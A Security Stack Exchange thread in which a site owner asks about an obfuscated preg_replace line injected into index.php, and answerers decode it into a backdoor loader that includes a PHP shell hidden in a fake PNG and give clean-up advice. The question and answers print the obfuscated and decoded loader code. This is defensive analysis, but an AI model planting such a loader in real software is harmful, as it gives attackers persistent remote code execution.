73

I just noticed that the top line of my index.php file got changed to what's below.

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

This looks very suspicious to me, and I know generally what preg_replace does. However, I don't know how to decode the subject, pattern, or replacement strings.

Can anyone tell me

  1. What this code actually will do?
  2. How it's possible that a supposedly locked PHP file can get updated on the server?
Mark Buffalo
  • 22,498
  • 8
  • 74
  • 91
Scott
  • 719
  • 1
  • 6
  • 5
  • 22
    Usually, these kind of scripts are basic webshells, providing a backdoor into the system for an attacker. There are many ways in which it could have been uploaded - see http://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server for the next steps to take. – Matthew Feb 17 '16 at 17:20
  • 5
    OK, I posted the raw code here: http://mitzvahcircle.org/codetext.txt – Scott Feb 17 '16 at 17:50
  • 5
    Paste the contents of this file: `/home4/mitzvahc/public_html/assets/img/logo_small.png` – Mark Buffalo Feb 17 '16 at 18:43
  • 68
    To be totally correct, this isn't really an _attempt_ - the hacker was successful already. – Sebb Feb 17 '16 at 20:23
  • 1
    @MarkBuffalo I pasted the contents of that file (which to my dismay is not actually an image file) here: http://pastebin.com/Nk6PZ069 – Scott Feb 17 '16 at 21:48
  • 1
    @Scott Yeah, we got that earlier. Scroll down to the scared face picture. :] – Mark Buffalo Feb 17 '16 at 21:49
  • 1
    Look for `defines1.php` and such files, there you'll find the actual shell. –  Feb 17 '16 at 23:20
  • 16
    Hack "*attempt*"? No, you were successfully hacked. – user253751 Feb 18 '16 at 01:43
  • @Scott I've updated my post to hopefully answer your two questions and point you in the right direction. – Mark Buffalo Feb 18 '16 at 02:00

5 Answers5

138

What will this code actually will do?

You have a backdoor that allows Remote Code Execution

OH THE NOES IVE GOT AN RCE

Credit to borjab for the inital decode

<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Note this base64 encoded string we found in the first file: 

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

When decoding that string, it points to this file: 

/home4/mitzvahc/public_html/assets/img/logo_small.png

The "image" file is not what it seems to be.

kayge pointed out that the file is obviously accessible online. So I downloaded your "image", which is where the real hack is happening. The first script is trying to load the content's of that image.

Inside the pretend image, there are two eval() statements which allow full arbitrary code execution when checking $GLOBALS[ooooOOOOo(0)].

This only happens if the attacker attempts to set that variable. 99% of the time when you see eval(), all you really need to know is that your entire web server is compromised by remote code execution. Here's what it's doing:

eval(gzuncompress(base64_decode("evil_payload")));

Of course, you were already compromised through some form of exploit, but this gives the attacker an obfuscated backdoor into your web server that they can continually access, even if you were to patch the problem allowing them to write files in the first place.

What are the evil gunzip contents?

  1. You can see them here.
  2. Inside the above, here's another encoding dump (Thanks, Technik Empire)
  3. Technik Empire just greatly contributed to the deobfuscation of the contents in #2.
  4. nneonneo cleaned it up even more.

Why is this happening?

How it's possible that a supposedly locked PHP file can get updated on the server?

This is too broad to answer without having access to everything. You may have incorrect hardening on your Content Management System installation, or there may be a vulnerability somewhere in your web stack. I don't care to visit your website considering what's going on, so you can check these links if they're part of your CMS:

  1. Joomla Security Checklist
  2. WordPress Hardening
  3. Django Deployment Checklist

If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes.

There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.

nhahtdh
  • 131
  • 1
  • 8
Mark Buffalo
  • 22,498
  • 8
  • 74
  • 91
  • 18
    "your entire web server is compromised by remote code execution:" - this was known already without `eval`. – user253751 Feb 17 '16 at 19:52
  • 9
    Indeed I'd back up critical files, keep a download of the hack and generate a few sigs for clamav and run a scan on all the files you absolutely had to keep. Even then you can't be sure. I manually checked a server I recovered recently and had to generate several sigs for previously undetected php exploits. After generating the sigs, I turned up nearly 1000 infected files. You can never be sure. –  Feb 17 '16 at 19:54
  • Let us [continue this discussion in chat](http://chat.stackexchange.com/rooms/35879/discussion-between-technik-empire-and-mark-buffalo). –  Feb 17 '16 at 20:39
  • 2
    I cleaned up the code and deobfuscated the numbers too: http://pasted.co/70105924. This should make it pretty clear what it's doing. – nneonneo Feb 20 '16 at 18:28
  • 4
    +1. If I could, I would give you +10 only for that bald guy image.... – Thorsten S. Feb 21 '16 at 16:18
  • @TechnikEmpire: The only way to be sure is to nuke the site from orbit. ;) – fgysin Feb 22 '16 at 10:18
  • @fgysin not always possible, like when you have over 30 clients on a VPS that thought that taring the www directory and saving it on the same server counted as "backups". –  Feb 22 '16 at 20:08
80

The short answer is: if the code was added by someone you don't know, then it's malicious, doesn't really matter what it does.

Your server has been compromised and you need to perform a full clean up.

As for how it got added, there is no way for us to know without a full investigation of your server.

ThoriumBR
  • 50,648
  • 13
  • 127
  • 142
schroeder
  • 123,438
  • 55
  • 284
  • 319
  • 1
    Even though I consider @schroeder my arch-nemesis when it comes to these questions, he's exactly right. This is especially true for any kind of obfuscated code, really. I would *love* to deobfuscate this, though. :> – Mark Buffalo Feb 17 '16 at 17:59
  • I've already cleaned up the code. I also found some instances where a rogue PHP file showed up in a directory I wouldn't expect to find PHP files in (eg css or image directories). These files weren't just one line of "preg_replace" but rather some kind of file lister, complete with authentication. – Scott Feb 17 '16 at 18:03
  • 3
    My BIG question is how are these files getting onto the server? I'm the only one with FTP / SSH access. However, I am on a shared web host. My understanding was that each client was firewalled from the others, though. Could I protect myself by chmod'ing files / directories? – Scott Feb 17 '16 at 18:05
  • @Scott there are lots of ways. A weakness in your web app could be enough. – schroeder Feb 17 '16 at 18:05
  • @Scott Is this the page's *full* code? I don't think it is. In fact, I think it's being called elsewhere... – Mark Buffalo Feb 17 '16 at 18:06
  • Alas, a firewall is just a illusion of security...security is the sum of all parts. Have you a CMS, wordpress or joomla in that server? Have you directories open to the world? Are all the files owned by the user runnning apache? – Rui F Ribeiro Feb 17 '16 at 18:06
  • 6
    @Scott As I think you've figured out, a cleanup is more than just removing the extra code. You should assume that the attacker used that code as an entry point to plant a persistent back door, and now has full access / control of your server. – Mike Ounsworth Feb 17 '16 at 18:07
  • @MarkBuffalo No, that line of PHP was inserted right before the line and the rest of the web page was left intact. – Scott Feb 17 '16 at 18:14
  • To be honest, I had my fair share of malware planting PHP malicious files, always taking advantage of wordpress scripts and 777 directories created by the webmasters, and only once in a legacy server they were able to escalate to root. Needless to say, if a sysadmin is not experienced in this situations, better handle the machine as compromised. – Rui F Ribeiro Feb 17 '16 at 18:15
  • This web site HAD been on Wordpress, and we got hacked several times. I convinced the owner to let me recode in PHP and not use a CMS. Prior to uploading the new site to the server, I moved all files and directories to an archive, then did a fresh upload from my local. I am using Bootstrap and some jQuery stuff, plus a bunch of PHP files. – Scott Feb 17 '16 at 18:16
  • 4
    @Scott Please paste the contents of `/home4/mitzvahc/public_html/assets/img/logo_small.png`. I'm so anxious to see it I want to scream! – Mark Buffalo Feb 17 '16 at 19:18
  • @MarkBuffalo It looks like ThoriumBR posted a link to the "png" file in the comments of borjab's answer: mitzvahcircle.org/assets/img/logo_small.png – kayge Feb 17 '16 at 19:31
  • @kayge Huh? No, he didn't. I want what's *inside* that file. He posted a local link, not one we can access... oh! – Mark Buffalo Feb 17 '16 at 19:34
  • 5
    The contents of /home4/mitzvahc/public_html/assets/img/logo_small.png are here: http://pastebin.com/Nk6PZ069 – Scott Feb 17 '16 at 21:49
  • @Scott Yup, we got it earlier. Scroll down to scared face picture. :] – Mark Buffalo Feb 17 '16 at 21:57
  • @schroeder An important distinction in any IR. – h4ckNinja Feb 18 '16 at 02:13
22

A PHP file was modified, so you have encountered much more than a hacking attempt.

The machine is compromised.

You need a clean OS install; and to reload your site code from development (or some other backup).

If you have the time, and are paranoid, it would probably be worth considering that your database might contain XSS attack code that might be unleashed on your end users.

trognanders
  • 2,925
  • 1
  • 11
  • 12
  • 3
    Well, this web site is running on a shared server, over which I have no control. I can't ask the hosting company to do a clean OS install. So what are my options? Sounds like it's not sufficient to just blow away all files and directories in my account, then re-upload the site. Do I just need to put the site on a new hosting account? – Scott Feb 17 '16 at 21:53
  • 14
    As far as your site is concerned, all you can do is what you've said, "blow away all files and reupload" ... but you should do 2 things first: 1. Find the hole and close it if possible. Your site's code should be thoroughly examined. However, realize that it may be possible that someone ELSE's site was compromised and you're a victim of THEIR bad luck. 2. DTRT! Contact your hosting svc & inform them! They should take you seriously; after all, since it's a shared machine, > 1 of their customers will be affected. If they don't take you seriously... it IS time to find a new host. – Kevin_Kinsey Feb 17 '16 at 22:22
  • 2
    @Scott In this case deleting all of your files will get you back to a security level comparable with normal shared service. Any user of the machine might be malicious and could attempt privilege escalation at any time, so it is probably futile to wonder if this attacker attempted it too. Have you considered hosting where you get a private VM? AWS has some pretty affordable options. – trognanders Feb 18 '16 at 17:15
19

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries: 

<?php preg_replace("#(.+)#ie", 
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png

Why is it using preg_replace? There seems to be a security problem that allows code execution but it could be just for code obfuscation.

Mark Buffalo
  • 22,498
  • 8
  • 74
  • 91
borjab
  • 339
  • 1
  • 8
  • 1
    Good job, sir. I edited your post a little to remove some errors and add another reference, but you actually taught me something. :] – Mark Buffalo Feb 17 '16 at 18:36
  • 3
    It's using `preg_replace` for obfuscation. The real problem is the `include_once("/home4/mitzvahc/public_html/assets/img/logo_small.png")`, and I bet it's a PHP shell. – ThoriumBR Feb 17 '16 at 18:55
  • 2
    @ThoriumBR Yep, I want to see what's in that "png" file. – Mark Buffalo Feb 17 '16 at 19:03
  • 1
    I got the file, and it's a PHP indeed. It's very obfuscated, and I have no free time to crack it open now. It's on mitzvahcircle.org/assets/img/logo_small.png – ThoriumBR Feb 17 '16 at 19:16
  • 8
    `preg_replace` is definitely not just for obfuscation, it's needed to execute the include (via the `e` modifier, which does indeed allow code execution, in this case the execution of the include; without it, nothing would happen). – tim Feb 17 '16 at 19:43
  • 2
    Regarding the `e` modifier... if you are running PHP 5.5 with full error reporting then you'll be flooded with a lot of E_DEPRECATED warnings (an early warning signal that something is up!). On PHP 7 this will fail since the `e` modifier has been removed. – MrWhite Feb 19 '16 at 21:05
0

In this case, yes however not all cases. I know some people will come across this question so this answer is intended for a broader audience:

Web hosts do some funky things and I've had a lot of web hosts. You may want to resolve the file temporarily until you've had a chance to call up your web host and determine whether they had anything to do with it or not.

There are apparently a few ways to hack PHP including one that lets you gain access to everything on the server outside of your account's path (on shared hosting in example) and you'd be able to see other people's code so it is possible sometimes that your account can be hacked to look at another account's code which is another reason to avoid shared hosting if you can afford to.

By default presume it's not a safe file and either move or rename it until you can confirm with your web host.

John
  • 119
  • 5